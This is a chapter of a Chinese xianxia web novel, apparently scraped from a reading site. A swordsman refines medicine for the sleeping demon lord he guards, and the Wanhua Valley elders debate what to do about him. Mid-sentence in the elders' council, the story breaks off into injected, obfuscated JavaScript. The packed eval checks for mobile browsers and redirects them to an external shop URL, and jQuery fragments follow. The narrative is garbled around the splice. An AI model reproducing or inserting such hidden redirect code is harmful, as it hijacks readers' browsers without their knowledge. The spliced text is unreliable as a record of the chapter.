300. 万花谷外等惊蛰

作品:《重生成死对头的师尊后

    传闻越传越广,版本也越来越多,有人说他要闯上古秘境寻续命神药,有人说他要求助隐世大能,还有人说他要带着厉无渡去魔域寻当年的后手……


    可这些沸沸扬扬的喧嚣从未入过百里忍冬的耳,他早已带着厉无渡,在万花谷附近寻了一处灵气充裕、隐蔽安稳的山谷,静待惊蛰那一日的到来。


    不过万花谷外近日着实有些热闹。


    密林里偶有灵力碰撞与炸裂的声响,间或响起转瞬即逝的哀嚎和痛呼,但不管怎么闹腾,那些戾气也没有半分能透进那方被层层剑阵结界裹住的小木屋。


    这日也是如此,又一阵嘈杂开始后,不过半盏茶的功夫便重新消停了下来,随后一道赤红剑光破开林间薄雾,如归巢的倦鸟般穿过半开的窗棂,剑身上还沾着未散的晨露与凌厉剑意,却在靠近榻边的瞬间尽数敛去,连破空的风声都放得极轻,生怕惊扰了榻上安睡的人。


    榻上的厉无渡依旧双目紧闭,呼吸平稳绵长,穿着一身舒适柔软的里衣,盖着的那床灵锦丝被亦是珍品,还被人细心掖好了被角。


    而榻边的矮案前,那个悉心照料她的人正垂眸凝神,指尖萦绕着灵力与剑气,将案上摊开的剑脊金疮草一点点凝炼成药液。


    碧绿色的草叶在灵力包裹中缓缓化开,萃出莹润透亮的精华,一滴一滴落进白玉小瓶里。


    听得剑光破空的轻响,百里忍冬抬眸看去,空出左手轻轻一招,便将盘旋在半空的丹碧召至身前,稳稳放在了自己的膝头。


    赤红的仙剑温顺地贴在他的掌心,剑脊轻轻蹭了蹭他的指尖,方才对外的霸道戾气荡然无存。


    就在这时,挂在对面墙壁上的寒英忽然有了动静。


    原本便是他本命剑的寒英发出一阵细碎又不满的嗡鸣,剑穗随着剑鸣轻轻晃荡,活像个被冷落闹脾气的孩童,连带着周遭的剑气都带上了几分委屈的意味。而一旁的寒春剑则依旧安安静静悬在壁上,只散出一丝极淡的平和剑意,像个沉稳的长辈,淡看着这一幕,全无半分争宠之意。


    百里忍冬见状无奈失笑,指尖再动,又将寒英也从壁上召了过来,与丹碧并排放在膝头。


    寒英一落定便往他掌心处蹭了蹭,方才的不满瞬间烟消云散,安安静静地蜷在了他的膝头,再无半分闹脾气的模样。


    而出乎百里忍冬意料的是,素来以霸道高傲闻名、万年来连旁人靠近三尺都不许的仙剑丹碧,竟只是轻轻嗡鸣了一声,非但没有半分排斥,反倒任由寒英挨着自己,连一丝争锋相对的剑意都未曾散出。


    他指尖轻轻抚过两柄剑冰凉的剑脊,心头划过一丝疑惑,但不及探究更多,另一手下剑脊金疮草药液的凝炼便到了紧要关头。


    百里忍冬神色一顿,那点刚冒头的疑惑瞬间被他抛到了脑后,重新将所有心神沉入了凝炼药液当中。


    剑修修长如玉的右手五指微动,原本萦绕在指尖的剑气骤然收束成细如发丝的模样,精准地探入了白玉盏中的药液里,


    碧绿色的药液在盏中轻轻震颤,原本混在其中的细碎杂质被细密的剑丝一点点剥离出来,遇着他指尖溢出的温和灵力,便化作一缕极淡的青烟散了去。


    百里忍冬呼吸放得极轻极稳,生怕因气息不定而搅乱了药液里的药性平衡。但他毕竟不是药修,要完成如此精细的操作只能靠剑气和灵力的配合硬撑,极为考验人的控制力,是以很快他额角便渗出了一层薄汗。


    百里忍冬对此却浑然未觉,一双眼只牢牢锁着盏中愈发澄澈透亮的药液,凝炼的力道收放得更加小心了——既不能破坏草药本身的活性,又要将里头长年累月浸染剑冢的戾气躁性尽数磨平,只留下最温润纯粹的疗伤精华。


    膝头的丹碧与寒英似是也感知到了主人的全神贯注,皆安安静静地伏着,连一丝嗡鸣都不曾再有,反倒自发散出一层极淡的剑意屏障,将周遭浮动的灵气稳稳定住,不让半分杂气扰了凝炼的进程。壁上的寒春剑也漾开一丝平和的剑意,与两柄剑的气息相融,悄无声息地加固着木屋的结界,将所有的喧嚣与异动都隔绝在外。


    不知过了多久,当最后一缕杂质化作青烟散去,白玉盏中只余下三滴莹润如翡翠、泛着淡淡灵光的药液精华,百里忍冬才终于松了口气。指尖剑气缓缓收回,他小心翼翼地用灵力托着那三滴精华,稳稳落进身侧的羊脂玉瓶之中,塞紧了瓶塞。


    救治沧浪所需的两样药材已得其一,现在就只差惊蛰醒神草了。


    百里忍冬收起玉瓶,坐到厉无渡榻边,握住她微凉的手,指尖轻轻抚过她紧闭的眼睫。窗外的风带着醒神花的淡香吹进来,离惊蛰日,只剩三天了。


    “厉无渡,”他垂首望着她,声音温柔地落在她的耳边,“再等等,等沧浪醒了,能好好守着你了,我就去给你找唤醒你的法子。”


    “不管要闯多少秘境,踏多少险地,不管要等十年、百年,我一定会把你从黑暗里,接回来。”


    外界的传闻还在喧嚣,可木屋中,只有他陪着沉睡的心上人,安安静静地,等着惊蛰的春雷响起。


    ……


    与此同时,万花谷。


    主殿的沉香炉里,安神的芸香缓缓燃着,清苦的药香混着暖香漫了满室,却半点散不开殿内凝滞的愁云。


    万花谷掌门目光扫过满殿和自己一样愁眉苦脸的长老,幽幽叹了口气:“都说说吧,百里忍冬暂居谷外一事,你们都怎么看?”


    他话音落下,殿内的一众掌事长老仍是眉头紧锁,只会望着地中央的香炉长吁短叹,谁都不愿先开口打破这令人窒息的沉默。


    还是素来管着谷内规矩的戒律长老先忍不住,重重咳嗽一声,肃然道:“掌门,这事不能再拖了!如今满修真界都在传,百里忍冬带着魔尊厉无渡,就藏在咱们谷外的醒神花田一带!已有不少宗门接连传讯旁敲侧击,再这么装聋作哑,咱们万花谷世代清名,就要被扣上个勾结魔尊、窝藏魔头的帽子了!”


    有人率先打破沉默,大殿中的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346855|158912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    其他人才开始陆陆续续接话。


    管着药库的长老苦着脸连连摆手:“话是这么说,可咱们能怎么办?那百里忍冬如今得了剑宗镇宗的丹碧仙剑,连青云宗三位七转巅峰的长老联手,都被他一剑震碎了丹田!咱们谷里全是摆弄药草的药修,除了配些迷药麻药,哪有能跟仙剑抗衡的本事?真要上门去赶人,那不是拿鸡蛋碰石头,平白给全谷招祸吗?”


    “更别说还有剑宗在背后撑着。”闻言万花谷掌门也跟着叹气,指尖点了点案上摊着的信笺。


    这正是剑宗掌门洛图书前一日送来的飞剑传书。素色笺纸上的字迹温文谦和,明面上是问候友宗,可末了那句“我宗后辈百里忍冬忍冬年少执拗,若有叨扰友宗地界之处,还望海涵,剑宗必感念友宗高义”,字里行间的护短之意,压得他心口发苦。


    “洛图书这封信,看着是客客气气的问候,实则就是把话递到咱们跟前了——百里忍冬是他剑宗护着的人,咱们要是敢动他一根手指头,剑宗那堆杀性重的剑修岂是好惹的?”


    这话一出,满室的议论声又骤然落了下去,只剩下沉香炉里炭火噼啪的轻响。


    万花谷掌门又一次长长叹了口气,收回手揉了揉发胀的眉心。


    他何尝不知道这其中的两难。一边是正道宗门的口诛笔伐,稍有不慎便要落个纵虎归山的污名;一边是打不过的百里忍冬,和得罪不起的剑宗,硬赶是自取灭亡,放任又要担惊受怕。更别说百里忍冬带着的可是现任魔尊,若是她一朝醒来,掀起腥风血雨,万花谷岂不成了放任魔尊复苏的帮凶?


    “无论如何,此事都得有个章程,诸位都想想吧,这事该如何处置才稳妥?”万花谷掌门抬眼看向众人,声音里满是掩不住的疲惫。


    殿内又是一阵长久的沉默,半晌,一位年岁最长的供奉长老才缓缓开口:“依老身看,眼下唯一的法子,便是装糊涂。”


    众人齐齐抬眼望了过去,供奉长老捻着花白的鬓发,继续道:“人在谷外的醒神花田,本就不是咱们万花谷的核心地界,咱们管不着,也管不了。对外,宣告掌门、你、我……咱们这些说得上话的全部‘闭关炼药’去了,谁来问都一概以不知情作答;对内,即刻传下令去,全谷弟子不得踏足醒神花田十里范围,不得与二人有任何接触、不得私下议论。如此也好答对剑宗那边——咱们既没动他的人,也没拆他的台,洛掌门自然记着咱们这份情分,日后也好相见。”


    这话一出,满室愁眉苦脸的长老们都松了口气,纷纷点头附和。这法子虽看着窝囊,却是眼下唯一能两头都不得罪、保万花谷安稳无虞的万全之策。


    万花谷掌门沉吟片刻,终是长长叹了口气,颔首定了音:“好,就按供奉说的办。”


    命令落下,众长老纷纷应诺,满室凝滞的气氛总算散了些许。只是每个人心里都清楚,这不过是权宜之计,只要那沉睡的魔尊一日不醒,只要百里忍冬还守在谷外,这悬在万花谷头顶的利剑,就一日落不下来。